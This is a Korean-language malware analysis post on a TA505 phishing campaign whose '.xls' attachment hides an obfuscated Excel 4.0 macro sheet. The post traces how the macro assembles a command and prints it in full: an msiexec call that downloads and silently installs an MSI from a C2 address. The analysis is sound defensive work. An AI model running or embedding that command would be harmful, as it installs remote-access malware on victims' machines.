Sample Path : http://malware-traffic-analysis.net/2019/03/06/index.html
SHA-256 : d65ce03cc8e888c94c5dcb797630db33fb01fbf166b38db09744c115f20150b7
1. 개요
해당 악성 파일은 2019년 5월 국내 기업을 대상으로 한 피싱 메일로 '.xls' 파일을 첨부한 형태로 전파되는 APT 공격입니다. 불과 얼마 전만 해도 랜섬웨어의 비율이 높았으나 근래에는 RAT(Remote Accress Trojan)을 유포하는 공격 방식이 활발해졌다고 합니다.
RAT란?
원격 관리 도구(RAT : remote administration tool)는 원격 조정자로 하여금 해당 시스템에 물리적으로 접근권이 있는 것처럼 시스템을 제어하게 해주는 소프트웨어 및 프로그래밍 모음입니다.
2. 공격자 정보
2014년 이후 많은 대규모 악성 스팸 캠페인이 보인 러시아 TA505 조직이 유포한 악성코드로 추정됩니다.
3. 유포된 형태
해당 악성파일의 경우에는 국내 기업을 대상으로 한 공격으로 '.xls' 형식의 파일이 첨부되어 아래 그림과 같이 한글로 메일이 전송되었습니다. 먼저 발신지 메일 주소 형태가 의심스러우며, 첨부파일 열람 시 매크로 활성화 여부를 묻는 것으로 보아 악성 매크로가 내장되어 있는 것을 예상할 수 있습니다.


4. 분석 과정
4.1 매크로 분석
파일 열람 시 Excel의 매크로 허용 여부를 묻습니다. 이를 보아 해당 악성 파일이 매크로 사용을 사용자에게 유도하고 있습니다. '콘텐츠 사용'을 선택하게 되면 악성 매크로가 동작하게 될 것을 유추할 수 있습니다.

해당 악성 문서는 엑셀 4.0 (XLM) 매크로 시트를 이용하고, 그 시트를 숨기는 특징을 지녔고, 최초 배포된 파일과는 다르게 엑셀 매크로에 난독화를 적용하기 시작합니다. 시트 위치에 우 클릭하여 숨기기를 취소하게 되면 숨겨진 시트 하나가 발견이 되며, 매크로 시트임을 확인할 수 있습니다.



4.2 난독화 코드 분석
해당 시트의 이름 상자를 보면 Auto_Open 등으로 이름이 지정이 되어 있습니다. 만약 그 부분이 없을 경우 A1 셀의 수식을 첫 번째로 실행하게 되며 세로 방향으로 매크로가 실행됩니다.

매크로가 단계별로 진행되면서 ‘Macro1’과 ‘Macro2’와 같이 지정된 셀을 호출 분기 흐름이 변경되고, 분기하게 되면 이전까지 실행된 루틴을 저장 후 새로운 콜 스택을 생성합니다. 그리고 해당 열에서 아래 방향으로 RETURN 될 때까지 실행합니다. 그러면 아래와 같이 매크로를 한 단계씩 코드를 실행하여 분기 흐름을 파악합니다.


아래의 'A14' 셀까지 매크로가 진행되면 'EXEC( )'라는 개별 프로그램을 실행하는 함수를 이용해 해당 시트의 'A30'셀의 값을 실행합니다.

'A30'셀에서는 여러 개의 범위 또는 여러 개의 텍스트 문자열을 하나의 텍스트 문자열로 연결하는 CONCATENATE 함수를 사용하여 3개의 셀의 문자열을 합쳐줍니다.

결과적으로 아래와 같은 명령어가 완성됩니다. 이때 'msiexec.exe'는 Windows Installer 유틸리티의 일부로 msi 나 msp 패키지를 설치 시 사용됩니다. 이 과정을 통해 C2 서버에서 MSI 파일을 '%TEMP%' 환경변수의 경로인 'C:\Users\[계정명]\AppData\Local\Temp'위치에 다운로드하는 명령이 수행될 것을 암시할 수 있습니다.
msiexec.exe RETURN=185 /i http://185.128.213.12/rol1 /q ksw='%TEMP%'
만약 '콘텐츠 사용' 버튼을 클릭 또는 한 단계씩으로 매크로를 실행했다면 Sysinternals Suite 유틸리티 중 하나인 process explorer를 통해 'msiexec.exe' 프로세스가 EXCEL.EXE 하위 프로세스로 동작함을 확인할 수 있고, C2 서버로 통신하는 것을 확인할 수 있습니다.

5. 결과
아직 이전에 배포된 악성파일을 분석하지 않았지만 다른 보고서에 따르면 해당 악성 파일은 코드 흐름을 어렵게 하는 것 외에 'EXEC 함수'를 통해 실행하였던 msiexec.exe 프로세스와 전달 인자 정보를 하나의 셀이 아닌 몇 개의 셀로 나누고, 실행 도중에 데이터를 합쳐 실행하도록 하는 진화된 형태가 보입니다.
<참고>
https://ko.wikipedia.org/wiki/%EC%9B%90%EA%B2%A9_%EA%B4%80%EB%A6%AC_%EB%8F%84%EA%B5%AC
https://isarc.tachyonlab.com/2401